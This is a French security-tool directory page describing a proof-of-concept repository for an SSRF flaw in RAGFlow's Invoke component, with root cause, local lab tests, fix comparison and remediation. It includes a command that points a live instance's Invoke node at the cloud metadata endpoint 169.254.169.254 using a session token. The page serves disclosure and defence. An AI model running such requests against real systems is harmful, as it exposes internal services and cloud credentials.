Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-75898 — Preuve de concept pour CVE-2026-75898, une SSRF dans le composant Invoke de RAGFlow. Démontre la vulnérabilité avec une source non modifiée, inclut des tests E2E, une comparaison de correctifs et une reproduction basée sur Docker pour les tests de sécurité autorisés. | Kitploit
Outils/GitHubGitHub/t3bik/cve-2026-75898
Analyse des VulnérabilitésExploitationExploitation d'Applications WebArticles et RechercheApprentissage et Éducation
GitHubt3bik/cve-2026-75898

CVE-2026-75898

Preuve de concept pour CVE-2026-75898, une SSRF dans le composant Invoke de RAGFlow. Démontre la vulnérabilité avec une source non modifiée, inclut des tests E2E, une comparaison de correctifs et une reproduction basée sur Docker pour les tests de sécurité autorisés.

Voir le dépôt
il y a 12h 36mPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-75898 — Composant Invoke de RAGFlow : SSRF

Server-Side Request Forgery (CWE-918) dans le composant « Invoke » du workflow d'agent de RAGFlow, avant la version 0.26.3.

CVECVE-2026-75898
CVSS8.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N)
Corrigé dansv0.26.3
Commits de correctionc4fe68e, e16d1a0
Références de ticketsinfiniflow/ragflow#15425, #18280
Avis de sécuritéVulnCheck

Cause racine

Dans agent/component/invoke.py de la v0.26.2, le composant Invoke construit l'URL de la requête à partir de modèles de variables fournis par l'utilisateur et n'effectue aucune validation de l'hôte résolu :

root@kitploit:~
def _build_url(self, kwargs: dict) -> str:
    url = self._resolve_template_text(self._param.url.strip(), kwargs)
    if not url.startswith(("http://", "https://")):
        url = "http://" + url
    return url

Cette URL atteint requests.get/post/put dans _send_request(). Comme allow_redirects conserve la valeur par défaut de requests (True), un attaquant peut :

  1. définir l'url de l'Invoke sur une adresse interne (127.0.0.1, 169.254.169.254, plages RFC1918 — aucun épinglage d'hôte résolu n'existe), ou
  2. la pointer vers un hôte contrôlé par l'attaquant qui redirige en 302 vers le réseau interne.

La correction ajoute assert_url_is_safe() + pin_dns() et force allow_redirects=False.

Source authentique, pas une réimplémentation

Contrairement aux réimplémentations « qui y ressemblent », ce dépôt exécute le code source v0.26.2 non modifié du composant vulnérable :

  • target/invoke_v0.26.2.py — copie octet pour octet de agent/component/invoke.py du tag v0.26.2.
  • e2e/test_genuine_ssrf.py — charge ce fichier réel derrière de fins stubs d'import (le stub ne remplace que des imports sans rapport : ComponentBase, le décorateur timeout et HtmlParser — aucune logique du chemin SSRF n'est touchée) et prouve que le composant atteint un service interne directement et via une chaîne de redirections.
  • e2e/test_fix_guard.py — applique la protection en amont (assert_url_is_safe, allow_redirects=False) sur le même fichier et montre que les requêtes sont bloquées.

Reproductibilité

Validé de trois manières indépendantes :

  1. E2E local au dépôt (sans installation de RAGFlow) : e2e/test_genuine_ssrf.py pilote le code source non modifié target/invoke_v0.26.2.py contre des serveurs de laboratoire en boucle locale — SSRF confirmé.
  2. Comparaison avec la correction : e2e/test_fix_guard.py applique la protection en amont au même fichier — bloqué.
  3. Instance Docker complète : RAGFlow v0.26.2 (infinity+mysql+minio+valkey) via docker compose ; un nœud Invoke dans un flux d'agent réel a récupéré INTERNAL-DB-SECRET:dbpassword=SuperSecret123 depuis un port d'un hôte interne. Voir LAB_DEMO.md pour les preuves textuelles.

Exécuter l'E2E local

root@kitploit:~
cd e2e
python3 test_genuine_ssrf.py   # doit afficher SSRF confirmed (vulnérable)
python3 test_fix_guard.py     # doit afficher BLOCKED (comportement corrigé)

Sortie attendue (vulnérable)

root@kitploit:~
[1] Direct SSRF: url -> http://127.0.0.1:9380/internal/admin/reset
    response: 'INTERNAL-SECRET-/internal/admin/reset'  (X-Internal header: true)
    [?] SSRF confirmed: internal service reached, secret leaked

[2] Redirect SSRF: url -> http://127.0.0.1:9381/ -> 302 -> 127.0.0.1:9380
    final: 'INTERNAL-SECRET-/internal/redirected'
    [?] SSRF via redirect chain confirmed

Vérifier une instance RAGFlow en production

Nécessite un jeton de session authentifié (Invoke s'exécute dans un flux d'agent).

root@kitploit:~
python3 poc.py --poc                                        # E2E local
python3 poc.py --check --target https://ragflow.example.com \
               --token $TOKEN --invoke-url http://169.254.169.254/latest/meta-data/

Détection / remédiation

  • Mettre à niveau vers RAGFlow ≥ 0.26.3.
  • Restreindre les modèles d'URL du nœud Invoke de l'agent à une liste blanche.
  • Filtrer en sortie les plages internes/métadonnées cloud du backend RAGFlow.

Divulgation

Corrigé dans RAGFlow v0.26.3 (août 2026). Ce PoC a été reconstruit indépendamment à partir de l'avis public et des commits de correction à des fins exclusives de tests de sécurité autorisés et d'éducation. Non affilié à InfiniFlow.

Télécharger l’outil